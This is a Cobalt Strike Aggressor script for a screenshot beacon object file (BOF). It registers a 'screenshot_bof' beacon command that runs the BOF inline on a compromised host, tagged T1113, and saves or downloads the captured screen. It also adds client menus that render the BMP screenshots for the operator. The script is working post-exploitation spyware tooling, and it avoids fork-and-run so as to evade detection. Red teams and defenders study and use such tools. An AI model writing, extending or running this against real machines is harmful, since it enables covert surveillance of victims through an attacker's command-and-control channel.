import javax.imageio.ImageIO;
import java.awt.*;
import javax.swing.JLabel;
import javax.swing.ImageIcon;
import java.io.ByteArrayInputStream;

# This function takes in a screenshot and creates a JLabel to display the screenshot
sub display_image {
	local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');
	$screenshot = $1;
	$screenshot_bytes = $screenshot['data'];
	$bid = $screenshot['bid'];
	$user = $screenshot['user'];
	$computer = beacon_info($bid, 'computer');

	$client = getAggressorClient();
	$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
	$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];

	$bais = [new ByteArrayInputStream: $screenshot_bytes];
	$image = [ImageIO read: $bais];

	$width = [$image getWidth];
	$height = [$image getHeight];

	$icon = [new ImageIcon: $image];
	if ($width > $MAX_IMAGE_WIDTH) {
		$width = $MAX_IMAGE_WIDTH;
	}
	if ($height > $MAX_IMAGE_HEIGHT) {
		$height = $MAX_IMAGE_HEIGHT;
	}
	$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];

	$component = [new JLabel: $scaledIcon];
	$tab_name = "ScreenshotBOF - $user\@$computer";
	addTab($tab_name, $component, "...");

}

# This function takes in a screenshot and creates a JLabel to display the screenshot
sub display_downloaded {
	local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name');

	$screenshot_bytes = $1;
    $file_name = $2;

	$client = getAggressorClient();
	$MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth];
	$MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight];

	$bais = [new ByteArrayInputStream: $screenshot_bytes];
	$image = [ImageIO read: $bais];

	$width = [$image getWidth];
	$height = [$image getHeight];

	$icon = [new ImageIcon: $image];
	if ($width > $MAX_IMAGE_WIDTH) {
		$width = $MAX_IMAGE_WIDTH;
	}
	if ($height > $MAX_IMAGE_HEIGHT) {
		$height = $MAX_IMAGE_HEIGHT;
	}
	$scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]];

	$component = [new JLabel: $scaledIcon];
	$tab_name = "ScreenshotBOF - $file_name";
	addTab($tab_name, $component, "...");

}

# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab
on screenshots {
	local('$screenshot $data');

	$screenshot = $1;
	$data = $screenshot['data'];

	# Check the magic header of the data to see if it's a BMP
	if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
		display_image($screenshot);
	}
}

popup_clear("downloads");
popup downloads {
	# do nothing if nothing is selected
	if (size($1) == 0) {
		return;
	}

	item "Interact" {
		openOrActivate($1[0]["bid"]);
	}

	menu "&Color" {
		local('$ids');
		$ids = map({ return $1["id"]; }, $1);
		insert_component(colorPanel("accents", $ids));
	}
    
    item "Render &BMP" {
        local('$download $lpath $name $count');
   foreach $count => $download ($1) {
      ($lpath, $name) = values($download, @("lpath", "name"));
   
      sync_download($lpath, script_resource("file $+ .$count"), lambda({ 
         $handle = openf($1);
         $data = readb($handle, -1);
         closef($handle);
         #println(charAt($data, 0));
         #println(charAt($data, 1));
         if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
		    display_downloaded($data, $1);
	     } else {
            show_error("File is not a Bitmap image");
         }
         deleteFile($1);
      }, \$name));
   }
    }
}

popup_clear("screenshots");
popup screenshots {
	item "&Interact" {
		openOrActivate($1["bid"]);
	}

	menu "&Color" {
		insert_component(colorPanel("accents", $1["id"]));
	}

	item "&Save" {
		prompt_file_save($1["id"] . ".jpg", lambda({
			local('$handle');
			$handle = openf("> $+ $1");
			writeb($handle, $data);
			closef($handle);

			show_message("Screenshot saved.");
		}, $data => $1["object"]["data"]));
	}

	separator();

	item "&Remove" {
		redactobject($1["id"]);
	}

	item "Render &BMP" {
        $data = $1["object"]['data'];

	    # Check the magic header of the data to see if it's a BMP
	    if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") {
		    display_image($1["object"]);
	    } else {
            show_error("Image is not a Bitmap. It should render in Screenshots tab.");
        }
	}
}

#Register command
beacon_command_register(
    "screenshot_bof",
    "Alternative screenshot capability that does not do fork n run",
    "Use: screenshot_bof [filename] [save method]\nSave methods:\n\t0: drop file to disk\n\t1: download over beacon\n\nTake a screenshot inline using a BOF. Screenshot is saved as BMP on disk or downloaded over beacon."
);

alias screenshot_bof {
    local('$bid $barch $handle $data $args $target_pid');
    $bid = $1;
    # figure out the arch of this session
    $barch  = barch($bid);
    if (size(@_) != 3)
    {
        berror($1, "Syntax: screenshot_bof [filename] [save method 0/1] e.g. screenshot_bof file.bmp 1");
                return;
    }
    # read in the right BOF file
    $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
    $data = readb($handle, -1);
    closef($handle);
    
    # FEATURE PUT ON HOLD DUE TO STABILITY
    # figure out if the profile chooses to chunk the post or not (getOnlyProfile)
    # $profile = data_query("metadata")["c2profile"];
    # $getOnlyProfile = [$profile shouldChunkPosts];
    # println($getOnlyProfile);

    $args   = bof_pack($bid, "zi", $2, $3);

    # announce what we're doing
    btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
    # execute it.
    beacon_inline_execute($bid, $data, "go", $args);
}